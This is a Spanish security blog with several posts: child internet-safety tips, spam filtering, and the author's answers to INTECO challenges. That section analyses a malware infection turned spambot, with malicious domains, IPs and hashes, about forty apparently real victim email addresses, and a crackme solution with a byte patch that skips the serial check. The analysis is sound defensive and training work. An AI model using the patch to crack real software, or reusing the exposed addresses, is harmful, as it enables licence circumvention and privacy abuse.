  • ¿Sabéis lo que es un chat, el Messenger, el Skype o programas como estos para hablar con la gente?. ¿Alguno los habéis utilizado alguna vez?
  • CONSEJO: Recordad, que, al igual que en la vida normal, nunca debéis hablar por Internet con gente que no conozcáis. Aunque estéis en casa, con vuestros padres, y parezcan gente muy simpática y divertida.

  • ¿Alguno habéis hablado con alguien que no conocierais en la vida real?
  • CONSEJO: Esos programas tienen listas de amigos para poder conversar con ellos más fácilmente, pero es importante que no agreguéis a vuestra lista de amigos a personas que no conocéis. Y recordad no hablar con gente que no conocéis en la vida real, aunque parezcan muy majos y agradables. La razón es que no sabéis quienes son, ni cuáles son sus intenciones. Cuando estéis chateando, nunca deis datos sobre vosotros mismos como: dónde vivís, cómo os llamáis, cuántos años tenéis… Sólo vuestros amigos reales y vuestra familia necesitan saber esas cosas, y no hace falta que se las contéis en el chat, porque ya os conocen y las saben. No quedéis con gente que habéis conocido en un chat, cualquiera puede hacerse pasar por otra persona para engañaros. Si alguien os dice que quiere quedar con vosotros, decídselo a vuestros padres.

  • ¿Sabéis que os podéis intercambiar fotos, videos y otros ficheros con esos programas?
  • CONSEJO: Esto está muy bien, pero recordad, nunca aceptéis archivos de personas que no conocéis. Tampoco enviéis fotos vuestras o de alguien de vuestra familia en el chat, aunque os prometan algún regalo o algo parecido.

POSIBLES PREGUNTAS DE LOS NIÑOS

Como siempre, añadimos alguna posible pregunta que pudiera realizar algún niño.

  • ¿Y quiénes son esos señores malos?
  • Son gente que parecen buenos, pero son muy tontos y luego os quieren engañar. Mucho cuidado. Sed más listos que ellos y no les hagáis caso.



PÁGINAS WEB

En este caso, la pregunta introductoria será:

  • Todos habéis visitado páginas web en Internet, ¿verdad?. ¿A qué páginas web habéis ido?
  • ¿Sabéis que hay páginas web que son malas?
  • CONSEJO: Por eso hay que tener cuidado al navegar por Internet y lo mejor es que estés con tus padres cuando navegues, porque ellos te enseñarán qué paginas son las más adecuadas para ti.

  • ¿Habéis visto alguna vez alguna página que no os haya gustado u os haya hecho sentir mal?
  • CONSEJO: Hay muchas páginas web de este tipo. También hay páginas web que podrían estropearos el ordenador. Cuando llegues a una página que no entiendes o que te hace sentir mal, ciérrala y díselo a tus padres.

POSIBLES PREGUNTAS DE LOS NIÑOS

  • ¿Y cómo puedo saber si una página web es mala?
  • Para eso hay programas que debéis instalar en vuestro ordenador y que os avisarán. Decídselo a vuestros padres y ellos os explicarán como saber cuándo el programa os esta avisando de que una página web es mala.



RESUMEN

El mejor consejo que se puede dar es no hacer cosas que no harías en la vida normal. Internet no deja de ser una extensión del mundo real donde podemos encontrar las mismas cosas buenas y malas que en el mundo real. Para ellos, Internet debe ser un sitio bonito y agradable donde jugar, navegar y relacionarse.

Otro buen consejo genérico es que cualquier cosa que vean que no les guste cuando estén en Internet, lo abandonen y se lo comuniquen a sus padres. Es muy importante hacer hincapié en establecer una continua relación de confianza y comunicación con sus padres a la hora de hacer uso de Internet.

miércoles, 26 de junio de 2013

El uso de filtros para evitar correo no deseado

Después de tanto tiempo utilizando internet, navegando por multitud de páginas web y registrándonos en muchas de ellas, acabamos recibiendo infinidad de correos de marketing que, si los primeros días aún nos interesaban, pasados unos meses hemos simplemente comenzado a ignorar.

Sin embargo estos correos siguen llegando, puntuales, a nuestro buzón y llenándolo, y molestando. Sobre todo eso, molestando.

Es hora, pues de librarnos de ellos. ¿Y cómo puedo hacer eso. ¿Puedo bloquear el remitente para que no me lleguen más?. Muchas veces sí y luego explicaré como conseguirlo, pero si la empresa que nos manada publicidad cumple la LOPD sus correos de Marketing tienen que tener un pie como el siguiente:

En pequeñito, eso sí, pero te dan la posibilidad de darte de baja. Sólo hay que hacer clic en el enlace que indican. Facil, ¿no?. Pues no.

En muchas ocasiones recibimos estos correos porque nos hemos registrado en su página web y lógicamente van a pedir que iniciemos sesión con ellos (por si este correo hubiera caído en manos de quien no debe y nos diera de baja del servicio). Es una medida de precaución comprensible pero molesta. Si nos acordamos de la contraseña (en mi caso difícil porque en cada sitio meto un nombre de usuario y una contraseña diferente) podremos logarnos y en ocasiones con esto es suficiente.

Pero en otras ocasiones hay que ir al perfil de usuario de tu cuenta en esa web y buscar un pequeño “checkbox” que indique que queremos recibir correos electrónicos suyos. Al desmarcar esa cuadricula deberíamos dejar de recibir esos molestos correos…. O no.

El problema por otra parte viene de los correos electrónicos (no deseados) que no indican la forma de dejar de recibirlos:

Qué bien, ¿no?. ¿Y cómo me doy de baja de este servicio?. Pues difícilmente. No nos queda otra opción que filtrar el remitente de estos correos desde el cliente de correo. ¿Y eso como se hace?.

El primer problema ante esto es que este tipo de correos no siempre se envían desde la misma dirección de correo por lo que a veces hay que filtrar un buen puñado de direcciones de correo.

GMAIL

Cada servicio de correo es diferente. Por ejemplo GMAIL nos ofrece directamente la opción de filtrar los correos “similares” a este que no queremos:

En ese momento nos pregunta exactamente cómo queremos filtrar este correo (por el remitente, por el asunto, por su contenido…):

A partir de este momento, este tipo de correos aparecerán en el buzón de SPAM.

Hotmail/Outlook/Live

En este caso, tendremos que ir, en la parte superior a Limpiar --> Administrar Reglas:

Aquí le daremos al botón “Nuevo” y escogeremos como queremos que sea nuestra “regla”:

Por ejemplo, si lo que queremos es eliminar los correos procedentes de trabajar@trabajar.com así es como deberíamos rellenar el formulario.

Thunderbird/Microsoft Office Outlook

Los clientes físicos de correo también tienen esta posibilidad. En concreto en Thunderbird se encuentran en el menú Herramientas --> Filtros de mensajes y Outlook en Herramientas --> Reglas y alertas:

En concreto el sistema de filtros de Microsoft Outlook es muy intuitivo y fácil de usar. Además su configuración es ata muy bien explicado en multitud de páginas de internet.

Tampoco podemos en este artículo explicar cómo funciona el servicio de filtrado de todos los servicios de webmail pero la gran mayoría, si no el 100% de ellos, dan la posibilidad de establecer filtros de correo.

Esta es una manera perfectamente válida de evitar que nos lleguen esos molestos correos que no hemos solicitado y tener un buzón de entrada mucho más limpio y seguro.

domingo, 23 de junio de 2013

Respuestas a las pruebas de INTECO (1 de 2)

Recientemente, INTECO ha sacado una oferta de 20 plazas para perfiles técnicos ("hackers"). Para cubrir las plazas el pasado día 10 se publicaron 4 "retos" en temas tan dispares como Computer Forensics, Incident Handling, Reversing y Descubrimiento de vulnerabilidades.

Las pruebas se basan en unos ficheros que contienen desde capturas de memoria, capturas de tráfico de red, un "crackme" o un programa en el que hay que buscar vulnerabilidades. INTECO planteaba una serie de preguntas en relación a estos ficheros y lo que podia ocurrirles a los sistemas afectados.

Estos ficheros lo podemos encontrar en https://mega.co.nz/#!dwNSUbYa!crHig0UYRVSVCytehho3tyMuPBsRi_8Zt-M8AsXStDM

Yo me presenté a esas plazas e hice las pruebas de los 4 apartados. A continuación publico mis respuestas. Esta sería la primera de dos entradas con este asunto y en el de hoy pondré mis respuestas en los retos de INCIDENT HANDLING y REVERSING.

INCIDENT HANDLING

¿Cómo se ha comprometido el sistema?[15%]
El usuario con la IP 192.168.78.132 ha recibido un correo SPAM sobre los atentados de Boston que incluía un enlace. A partir del segundo 17 de la captura (frame 282), hace clic sobre el enlace, que le dirije a http://188.2.164.112/boston.html

Dicha página web incluye 5 iframes, 4 de ellos con enlaces a videos reales de los atentados de Boston y un iframe que le redirige a http://heathawkheaters.com/hair.html (IP216.172.186.132)

Este último iframe solo muestra un mensaje de error, pero incluye un applet java que descarga un fichero malicioso vz1.jar

Este fichero se trata de un exploit que se aprovecha de la vulnerabilidad de Java con CVE-2012-1723 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723) 

También se descarga otros ficheros maliciosos como:
Newbos3.exe (frame 2714) desde kolasoeg.ru, se trata, según virustotal de zbot-KR(Sophos) o Tepfer.imbp(Kaspersky) 

Indique los hashes SHA256 y tipo de ficheros maliciosos encontrados en las conexiones.[15%]
vz1.jar  -- FRAMES 1807 a 1821 - Este fichero se trata de un exploit que se aprovecha de la vulnerabilidad de Java con CVE-2012-1723 (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1723)  
SHA256: 0bf5cdfd7387cf818d53e463f19d98c8bd14439e85b137bb6503d1faa85555db
https://www.virustotal.com/es/file/0bf5cdfd7387cf818d53e463f19d98c8bd14439e85b137bb6503d1faa85555db/analysis/1370856836/Newbos3.exe (frame 2714) – Descargado desde kolasoeg.ru - Se trata de un troyano ejecutable windows, según virustotal es Zbot-KR(Sophos) o Tepfer.imbp(Kaspersky) 
SHA256: 6bab0821aec44f13e41af7ef73fa528c2ef8b4c36be1886a7a57e7e173be536b
https://www.virustotal.com/es/file/6bab0821aec44f13e41af7ef73fa528c2ef8b4c36be1886a7a57e7e173be536b/analysis/1370856559/Setup.exe (frame 1923) descargado desde dustpanrecordings.com ( 208.109.138.8) tras una consulta   http://dustpanrecordings.com/i.htm?1wDg6bS8MzvoprjDTFHphg7wwLPVZ 
Sin embargo, no he sido capaz de obtener el ejecutable. Se trataría de este enlace a bvirstotal:
https://www.virustotal.com/es/file/6894347ff4238ee06c8f9b8e2ca2dc01b3aea7f973b40db5366c4400964cbc43/analysis/1366258011/ que no considera que sea malicioso:
SHA256: 6894347ff4238ee06c8f9b8e2ca2dc01b3aea7f973b40db5366c4400964cbc43

Indique los dominios y las direcciones IP relacionadas con el incidente hasta que se comprometió el sistema.[15%]
188.2.164.112 – Dominio serbio del enlace que llegaba en el SPAM (sin nombre de dominio)
216.172.186.32  - http://heathawkheaters.com/ Alojado en EEUU. Lugar desde el que se descarga el exploit Java.
109.87.207.34 – kolasoeg.ru – Lugar desde donde se descarga el fichero newbos3.exe
208.67.220.220 – dustpanrecordings.com – Lugar desde donde se descarga el ejecutable setup.exe
5.105.75.42 – Desde esta IP se descarga posiblemente un payload para el exploit de Java.

Describa el flujo de conexiones relevantes en el incidente, con todos los detalles de las mismas.[20%]
La victima hace clic en el enlace del correo electrónico SPAM que le lleva a 188.2.164.112 (frame 282):
 http://188.2.164.112/boston.html

Dicha página web incluye 5 iframes, 4 de ellos con enlaces a videos reales de los atentados de Boston y un iframe que le redirige a http://heathawkheaters.com/hair.html (IP 216.172.186.132).

Este último iframe solo muestra un mensaje de error, pero incluye un applet java que descarga un fichero malicioso vz1.jar desde esa misma IP (FRAME 1807-1821).

El applet java se ejecuta y descarga el fichero 13.htm (FRAME 1824-1891) , SHA256: 64341e4ed560fcecd393deb4a15c0f75b99daf002a4c735194316c22327473ac , que no es detectado como un fichero malicioso, pero tampoco es una página web.

A partir de ese momento la maquina queda comprometida y comienzan a descargarse un troyano llamado newbos3.exe desde  109.87.207.34 – kolasoeg.ru  (FRAME  2714)

Al ejecutarse este troyano, la victima se conecta con 46.119.212.23 y 5.105.75.42, se conecta con 78.111.219.45 para descargarse login.html

A partir del frame 2777 (segundo 74, 10 segundos después de ejecutar el troyano) abre 65 conexiones HTTP contra las IPs 141.102.121.96, 186.2.166.59, 190.93.251.24, 91.202.142.208, 186.2.185.13, 178.32.71.33, 64.235.40.176

Algunas de ellas responden y otras no. A todas se hace un get PXFAHN 

Tiene aspecto de que la victima ha pasado a ser un nodo mas de una red zombie y el troyano esta conectando con el servidor C&C
A continuación (FRAMES 3138-3310) la victima consulta los registros MX y A de una serie de servidores de correo a los que va a comenzar a mandar SPAM.

A partir del FRAME siguiente, 3311, comienza a mandar SPAM como el siguiente:

Subject: New Sub Penny Alert Coming Soon 
Date: Thu, 18 Apr 2013 10:25:36 +0100 MIME-Version: 1.0 
Content-Type: text/plain; .format=flowed; .charset="iso-8859-2"; .reply-type=original 
Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: 
Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1506 
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1506 

Body:
Welcome announcement for P_W_E I watchers. Buy thousands of P_W_E I  stock offered at the morning, since it's still bargained. Then see the  pps spike to 55 cents - or maybe hit a 1! Prepare to make a fortune on  P_W_E I starting Thursday, Apr 18. 

En total intenta mandar más de 300 correos en el tiempo que dura la captura (hay 320 sesiones).

Una vez comprometido el sistema, según las evidencias que tenemos, ¿para qué se ha estado utilizando? Indique por favor todos los detalles: destinos de las conexiones con finalidad maliciosa; cuáles han tenido éxito y cuáles no, en este caso indicando el porqué; aportando el mayor detalle posible del destino de los ataques.[35%]
La victima es usada como un servidor de correo SPAM.

A partir de la ejecución del VZ1.JAR la maquina queda comprometida y comienzan a descargarse un troyano newbos3.exe desde  109.87.207.34 – kolasoeg.ru  (FRAME  2714)

Al ejecutarse este troyano, la victima se conecta con 46.119.212.23 y 5.105.75.42, se conecta con 78.111.219.45 para descargarse login.html

A partir del frame 2777 (segundo 74, 10 segundos después de ejecutar el troyano) abre 65 conexiones HTTP contra las siguientes 9 IPs 141.102.121.96, 186.2.166.59, 190.93.251.24, 90.156.201.11, 50.62.238.103, 91.202.142.208, 186.2.185.13, 178.32.71.33, 64.235.40.176. Los 5 primeras Ips están activas y responden, las 4 últimas no.

A todas se hace un get PXFAHN a lo que responden con un Bad Request, pero la conexión continúa sin otras descargas.
Tiene aspecto de que la victima ha pasado a ser un nodo mas de una red zombie y el troyano esta conectando con los servidores C&C. 

A continuación (FRAME 2996-3137) se descarga el fichero file.html desde 5.105.75.42 y tiene aspecto de que este fichero contiene cifrados, las direcciones de correo y los servidores MX desde los que mandar el SPAM. 

En cuanto acaba la descarga de ese file.html, la victima consulta los registros MX y A de una serie de servidores de correo (FRAMES 3138-3310) a los que va a comenzar a mandar SPAM.

A partir del FRAME siguiente, 3311, comienza a mandar SPAM como el siguiente:

Subject: New Sub Penny Alert Coming Soon 

Body:
Welcome announcement for P_W_E I watchers. Buy thousands of P_W_E I  stock offered at the morning, since it's still bargained. Then see the  pps spike to 55 cents - or maybe hit a 1! Prepare to make a fortune on  P_W_E I starting Thursday, Apr 18. 

En total intenta mandar más de 300 correos en el tiempo que dura la cptura (hay 320 sesiones).

Algunas de las direcciones de correo y su respuesta son:
mail1.corpmailsvcs.com  ?     
bpurins@optonline.net  - 550 5.1.1 unknown or illegal alias: bpurins@optonline.net
jayeandy@yahoo.com  OK ok dirdel    
marsha_n_cali@yahoo.com OK deferred 451 Message temporarily deferred - [140]
acafiero.office@cox.net 250 2.0.0 RLbC1l01Q2mYAnX01LbECt mail accepted for delivery        
annaauu@yahoo.com  OK deferred 451 Message temporarily deferred - [160]
allisonkpace@gmail.com  OK     
jmlee325@gmail.com  OK     
greg.mcallister@adtech.com  550 No such user (greg.mcallister@adtech.com)
janisamzallag@rogers.com  OK 250 ok dirdel    
dionne.matthews@bankofamerica.com 550 5.0.0 User unknown   
comoline@hotmail.com  OK??Queued 250     
guiggs14@hotmail.com  550 Requested action not taken: mailbox unavailable  
sagirkennel@yahoo.com  OK 250 ok dirdel    
rgoodman5@cinci.rr.com  OK 250 OK 12/F5-02208-440BF615
hfsommer@earthlink.net  550 hfsommer@earthlink.net...User unknown  
murphmcd@sbcglobal.net  OK 250 ok dirdel    
sgntblain@cs.com 550 5.1.1 : Recipient address rejected: cs.com 
llcoeone@iowatelcom.net  ok     
bpurinto@student.umass.edu  550 5.1.1 : Recipient address rejected: User unknown in relay recipient table   
sjjones@voyager.net  554 5.7.1 Service unavailable; Client host [195.53.165.128] blocked using local.ip.rbl; http://www.spamhaus.org/query/bl?ip=195.53.165.128   
judy@artechecarr.com  ok     
larsflatoe@hotmail.com   Queued mail for delivery  250  <000f01ce3c0f$a4c80130$6d3498e6@hanz0785663ba1o4lr5> Queued mail for delivery   
dennis.west@pfizer.com  550 5.7.0 Local Policy Violation   
dionne@mattinglycorp.com  250  [InternalId=16039451] Queued mail for delivery
painting4me@msn.com  550 Requested action not taken: mailbox unavailable 
shonda.mark@vonage.com  OK  
ewroberts38@earthlink.net  550 ewroberts38@earthlink.net...User unknown   
yafeng_xiao@hotmail.com   Queued mail for delivery  250    
johnfkm03@aol.com  250 2.0.0 Ok: queued as 36E3F380000B2   
jmlee3@msn.com   Queued mail for delivery  250  
nic26@sbcglobal.net  OK 250 ok dirdel    
dguttman@uvm.edu  550 5.0.0 ... User unknown 
jvhjh@worldnet.att.net    551 not our customer   
aleksicveronica@aol.com  250 2.0.0 Ok: queued as AFB0938000084 
lori.lizik@fiserv.com  OK  
lorilizrogers@gmail.com  OK 
4bewers@verizon.net  550 5.1.1 unknown or illegal alias: 4bewers@verizon.net 
loriljackson@hotmail.com   Queued mail for delivery  250    
johnfk@microsoft.com   Queued mail for delivery  50 2.6.0 

REVERSING

¿En qué se basa la generación del número de serie?[20%]
Se basa en la llamada a la API del sistema GetVolumeInformation: 
CALL <JMP.&kernel32.GetVolumeInformationA>
Veamos, en la función que comienza en la instrucción 004010A3, hace una llamada a GetTickCount que no sirve para nada, y posteriormente hace una llamada a GetVolumeInformation pasándole como arg1 la unidad: C:\, como arg2, cero, como arg3 el tamaño del volumen y como arg4 un buffer que será donde escriba la información del volumen. Este Buffer esta en la posición 004030B8.
004010A3  /$  33C0         XOR EAX,EAX                  ; reversing.004010A3(guessed void)
004010A5  |.  E8 6E010000  CALL <JMP.&kernel32.GetTickCount>        ; [KERNEL32.GetTickCount
004010AA  |.  6A 00        PUSH 0                       ; /SysNameSize = 0
004010AC  |.  6A 00        PUSH 0                       ; |SysName = NULL
004010AE  |.  6A 00        PUSH 0                       ; |pFlags = NULL
004010B0  |.  6A 00        PUSH 0                       ; |pMaxNameLength = NULL
004010B2  |.  68 B8304000  PUSH OFFSET 004030B8         ; |pSerialNumber = reversing.4030B8 -> 0
004010B7  |.  68 B7304000  PUSH OFFSET 004030B7         ; |VolumeSize = 4206775.
004010BC  |.  68 26314000  PUSH OFFSET 00403126         ; |VolumeName = reversing.403126 -> 00
004010C1  |.  68 B3304000  PUSH OFFSET 004030B3         ; |Root = "C:\"
004010C6  |.  E8 53010000  CALL <JMP.&kernel32.GetVolumeInformationA> ; \KERNEL32.GetVolumeInformationA
El valor devuelto por GetVolumeInformation es posteriormente copiado en la posición de memoria 00403136 en ASCII:
004010F2  |.  FF35 B8304000 PUSH DWORD PTR DS:[4030B8]  ; /<%.08X> = 0
004010F8  |.  68 BC304000   PUSH OFFSET 004030BC        ; |Format = "%.08X"
004010FD  |.  68 36314000   PUSH OFFSET 00403136        ; |Buf = ""
00401102  |.  E8 2B020000   CALL <JMP.&user32.wsprintfA>             ; \USER32.wsprintfA
00401107  |.  83C4 0C       ADD ESP,0C
0040110A  \.  C3            RETN
Posteriormente, desde el Entry Point, es llamada la función que comienza en la instrucción 0040110B que es básicamente un strcmp(serialmetido,volumeinformation),
0040110B  /$  33C0          XOR EAX,EAX
0040110D  |.  6A 08         PUSH 8                      ; /Count2 = 8
Aqui compara las posiciones de memoria donde esta almacenado el serial introducido, 004030C2 y el volumen information, 00403136:
0040110F  |.  68 36314000   PUSH OFFSET 00403136        ; |String2 = ""
00401114  |.  6A 08         PUSH 8                      ; |Count1 = 8
00401116  |.  68 C2304000   PUSH OFFSET 004030C2        ; |String1 = ""
0040111B  |.  6A 01         PUSH 1                      ; |Flags = NORM_IGNORECASE
0040111D  |.  6A 00         PUSH 0                      ; |Locale = LOCALE_NEUTRAL
0040111F  |.  E8 E8000000   CALL <JMP.&kernel32.CompareStringA>      ; \KERNEL32.CompareStringA
00401124  |.  83F8 02       CMP EAX,2
Si son iguales, salta a la función de la instrucción 0040115ª y si no, decodifica el mensaje de error “Error!! Invalid serial number”:
00401127  |.  74 31         JE SHORT 0040115A
00401129  |.  FF35 8B304000 PUSH DWORD PTR DS:[40308B]  ; /Arg3 = 20
0040112F  |.  68 00304000   PUSH OFFSET 00403000        ; |Arg2 = reversing.403000
00401134  |.  68 6A304000   PUSH OFFSET 0040306A        ; |Arg1 = reversing.40306A
00401139  |.  E8 4C000000   CALL 0040118A               ; \reversing.0040118A
0040113E  |.  68 00304000   PUSH OFFSET 00403000        ; /Arg1 = reversing.403000
00401143  |.  E8 E4000000   CALL 0040122C               ; \reversing.0040122C
00401148  |.  FF35 8B304000 PUSH DWORD PTR DS:[40308B]  ; /Arg2 = 20
0040114E  |.  68 00304000   PUSH OFFSET 00403000        ; |Arg1 = reversing.403000
00401153  |.  E8 94000000   CALL 004011EC               ; \reversing.004011EC
00401158  |.  58            POP EAX
00401159  |.  C3            RETN

Explica el cifrado de cadenas.[30%]
Existen 4 cadenas que aparecen en este ejecutable:
• “Type the serial number:”
• “Error!! Invalid serial number.”
• “The serial number is OK”
• Press ENTER to Finish

Todas ellas se encuentran, codificadas en el ejecutable del programa. En concreto están en las posiciones 004030C2, 0040306A , 0040304F y 0040308F respectivamente.

Sin embargo cuando se llama a la función que llama a la API WriteFile ( que es la que escribe por pantalla), siempre se le pasa como argumento la posición 00403000 (Esta función comienza en la instrucción 0040122C):
0040116F  |.  68 00304000   PUSH OFFSET 00403000        ; /Arg1 = reversing.403000
00401174  |.  E8 B3000000   CALL 0040122C               ; \reversing.0040122C
Esto es así porque siempre antes de esta llamada se hace otra a una función que convierte las cadenas y las pone en 00403000:
0040115A  |.  FF35 66304000 PUSH DWORD PTR DS:[403066]  ; /Arg3 = 16
00401160  |.  68 00304000   PUSH OFFSET 00403000        ; |Arg2 = reversing.403000
00401165  |.  68 4F304000   PUSH OFFSET 0040304F        ; |Arg1 = reversing.40304F
0040116A  |.  E8 1B000000   CALL 0040118A               ; \reversing.0040118A
0040116F  |.  68 00304000   PUSH OFFSET 00403000        ; /Arg1 = reversing.403000
00401174  |.  E8 B3000000   CALL 0040122C               ; \reversing.0040122C
Esta function es la siguiente, se añaden explicaciones entre líneas:

Inicio típico de una función, limpiando la casa:
0040118A  /$  55            PUSH EBP                    ; reversing.0040118A(guessed Arg1,Arg2,Arg3)
0040118B  |.  8BEC          MOV EBP,ESP
0040118D  |.  53            PUSH EBX
0040118E  |.  51            PUSH ECX
0040118F  |.  56            PUSH ESI
00401190  |.  57            PUSH EDI
00401191  |.  33C0          XOR EAX,EAX
00401193  |.  BB 5C2B8D54   MOV EBX,548D2B5C
00401198  |.  B9 32400000   MOV ECX,4032
Almacenamos en ESI la posición de memoria de la cadena codificada y en EDI la posicion de memoria del buffer que se imprimira por pantalla:
0040119D  |.  8B75 08       MOV ESI,DWORD PTR SS:[ARG.1]
004011A0  |.  8B7D 0C       MOV EDI,DWORD PTR SS:[ARG.2]
Toda sección es innecesario. Son 16434 bucles modificando EBX que luego al finalizar tendrá siempre el valor 548D2B5C:
004011A3  |>  81F3 00006699 /XOR EBX,99660000
004011A9  |.  81F3 0000232D |XOR EBX,2D230000
004011AF  |.  81F3 0000AA11 |XOR EBX,11AA0000
004011B5  |.  81F3 0000DD98 |XOR EBX,98DD0000
004011BB  |.  81F3 0000FF33 |XOR EBX,33FF0000
004011C1  |.  49            |DEC ECX
004011C2  |.  0BC9          |OR ECX,ECX
004011C4  |.^ 75 DD         \JNE SHORT 004011A3
Aqui en ECX se le indica el numero de iteraciones que se harán del siguiente bucle (depende de la longitud de la cadena)
004011C6  |.  8B4D 10       MOV ECX,DWORD PTR SS:[ARG.3]
Cogemos los dos primeros bytes de la cadena codificada
004011C9  |.  66:8B06       /MOV AX,WORD PTR DS:[ESI]
Los rotamos, poniendolos en su posición real, tal y como saldrían por pantalla
004011CC  |.  66:C1C8 08    |ROR AX,8
Hacemos un XOR con el valor 548D2B5C:
004011D0  |.  66:33C3       |XOR AX,BX

004011D3  |.  46            |INC ESI
004011D4  |.  46            |INC ESI
Los volvemos a rotar para volver a escribirlos en memoria:
004011D5  |.  66:C1C8 08    |ROR AX,8
Los pasamos a la posicion de memori 00403000:
004011D9  |.  66:8907       |MOV WORD PTR DS:[EDI],AX

004011DC  |.  47            |INC EDI
004011DD  |.  47            |INC EDI
004011DE  |.  49            |DEC ECX
004011DF  |.  49            |DEC ECX
Comprobamos si debemos salir del bucle (ECX es cero):
004011E0  |.  0BC9          |OR ECX,ECX
004011E2  |.^ 75 E5         \JNE SHORT 004011C9
004011E4  |.  5F            POP EDI
004011E5  |.  5E            POP ESI
004011E6  |.  59            POP ECX
004011E7  |.  5B            POP EBX
004011E8  |.  C9            LEAVE
004011E9  \.  C2 0C00       RETN 0C
Básicamente y a modo de resumen, se trata de un XOR con  548D2B5C, aunque ante se hace un rotado cambiando el orden de los bytes.

Muestra el código de un generador de serials. (Da igual el lenguaje)[50%]
El numero de serie del volumen o VolumeID es una sucesión de ocho letras y números en el formato "xxxx-yyyy"

Se puede conocer mediante el comando “vol” del sistema.

El formato del serial es xxxxyyyy (sin incluir el guion intermedio).


Dado que el serial de este ejecutable se basa en el volumenID de la unidad C donde se ejecuta, sólo existe un serial válido en cada máquina.


Esta sería una función para obtenerlo en visual basic:
1. Function HDSerialNumber() As String
2. Dim fsObj As Object
3. Dim drv As Object
4.     Set fsObj = CreateObject("Scripting.FileSystemObject")
5.     Set drv = fsObj.Drives("C")
6.     HDSerialNumber = Left(Hex(drv.SerialNumber), 4) _
7.                      & Right(Hex(drv.SerialNumber), 4)
8.     Debug.Print HDSerialNumber
9.  
10. End Function
Habria muchas otras maneras de evitar tener que usar un serial modificando bytes sueltos en el ejecutable. Por ejemplo modificando la instruccion 401127 y poniendo un JMP en vez de un JE (EB31 en vez de  7431)

viernes, 21 de junio de 2013

Comprobando que tenemos el antivirus activado

Siempre se recomienda tener nuestro antivirus instalado, actualizado y funcionando. Sin embargo, muchas veces (sobre todo si nuestros hábitos de uso del internet no son "extraños"), el antivirus, una vez instalado, es un programa que permanece oculto y del que no volvemos a saber más.

Esto nos puede llevar a preguntarnos si el antivirus seguirá ahi y estará defendiéndonos de los ataques a los que nos exponemos mientras navegamos por internet.

Una forma de comprobar que el antivirus está activo es comprobar en el centro de seguridad de Windows. Para ello, en Windows 7 abriremos el Panel de Control, iremos a Centro de actividades y haremos click en la sección "Seguridad". Nos aparecerá una pantalla como esta:

Aqui podemos comprobar si nuestro antivirus, nuestro firewall y las actualizaciones de seguridad estan realmente activadas.

En Windows XP, será algo parecido. Iremos al panel de control, luego al centro de seguridad, y nos mostrará, con un código de colores, si tenemos el Firewall, las actualizaciones automáticas y la proteccion antivirus de nuestro equipo:

Hasta aqui genial, pero, una cosa es que esten activadas y funcionando y otra cosa es que esten funcionando correctamente. Para realizar esta comprobación y dado que NO nos vamos a infectar a propósito con ningún troyano ni a navegar por sitios web de dudoso origen, el Anti-Malware and Testing Standard Organization (AMTSO) (una organización que aglutina los principales casas antivirus) ha puesto a nuestra disposición una página web donde podemos hacer esta comprobación:

http://www.amtso.org/feature-settings-check.html

La página esta en inglés, pero básicamente nos da la opción de comprobar cinco aspectos básicos de nuestro software antivirus:

  1. Comprobar la protección de nuestro equipo contra la descarga de malware de forma manual
  2. Comprobar la protección de nuestro equipo contra la descarga no intencionada de malware
  3. Comprobar la protección de nuestro equipo contra la descarga de software potencialmente no deseado (barras de navegadores, spyware, etc)
  4. Comprobar la protección de nuestro equipo contra el acceso a páginas con phishing
  5. Comprobar si la protección en la nube de nuestro antivirus está activada

Excepto la cuarta opción, los demás implican la descarga de un fichero que es absolutamente inofensivo pero que hace saltar los antivirus. De hecho, el fichero nunca debería llegar a descargarse y nuestro software antivirus nos debería avisar de la amenaza:

La opción Nº4 nos redirige a una página web que aparenta ser maliciosa pero que no lo es. El objetivo es el mismo, que el antiviurs nos avise de que nos dirigimos a una página maliciosa.

Si al probar alguno de los 5 casos el antivirus no nos avisa, lo primero hay que estar tranquilos. Lo que nos hemos descargado no es software malicioso y no va a hacer nada dañino en nuestro ordenador.

Sin embargo puede ser el momento de preguntarnos por qué ha ocurrido esto. Algunas posibles causas son:

  • No tenemos ningún software antivirus instalado
  • El software antivirus no se está ejecutando
  • El software antivirus, aunque se está ejecutando no esta funcionando. Esto puede ocurrir porque hayamos modificado alguna opción de las que vienen por defecto y hayamos deshabilitado la protección
  • El software antivirus no está actualizado (poco probable dado que el malware que se descarga es muy simple)

Y si la razon no es ninguna de las anteriores, tal vez sea el momento de instalarse un nuevo antivirus.

Recomiendo realizar esta prueba, aunque solo sea para nuestra tranquilidad al estar seguros de que nuestros software antivirus realmente nos esta protegiendo.

jueves, 20 de junio de 2013

Google y el ciberacoso

Tras una entrevista con Google acerca de las soluciones que aportaba Google ante la problemática del ciberacoso, estas fueron las conclusiones que obtuvimos.


CENTRO DE AYUDA Y SEGURIDAD DE GOOGLE

Google ofrece el Centro de seguridad familiar (http://www.google.es/intl/es/goodtoknow/familysafety/) donde el usuario, no solo de Google+ sino de cualquier otro servicio de Google, puede encontrar las diferentes herramientas para que los padres y los educadores seleccionen el contenido al que pueden acceder los niños en Internet, así como los procedimientos para la notificación de contenidos inadecuados, y la configuración de los productos. Por último se ofrecen consejos y sugerencias a las familias relacionadas con la seguridad en Internet.

Específicamente hablando de Google+, Google dispone del centro de seguridad Google+ (http://www.google.com/intl/es/+/safety/) con guias de seguridad para adolescentes, padres y educadores.


EXPERIENCIA PRÁCTICA DE GOOGLE

En GOOGLE disponemos de numerosos procedimientos y herramientas implantadas a nivel interno con el fin de prevenir, detectar y, en caso de ser necesario, denunciar a las Autoridades competentes los casos de ciberacoso y otras prácticas inadecuadas.


HERRAMIENTAS DE PROTECCIÓN Y REPORTE ANTE CONDUCTAS Y/O CONTENIDOS INAPROPIADOS O ILICITIOS TALES COMO EL CIBERACOSO

GOOGLE dispone de diferentes herramientas de seguridad para los distintos servicios que ofrece como se puede ver en http://www.google.es/intl/es/goodtoknow/familysafety/tools/ . Entre ellas encontramos Google SafeSearch. Se trata de un filtro para el buscador de Google que, de forma predeterminada no permite que las imágenes explícitas aparezcan en los resultados de búsqueda. De la misma manera existen filtros de contenidos para Android o en Youtube.

En relación a Google+, en el centro de seguridad de Google+ (http://www.google.com/intl/es/+/safety/) se ofrecen guías de seguridad para padres y adolescentes, también se ofrecen guías de gestión de la reputación digital de los adolescentes, tanto para ellos como para los padres.


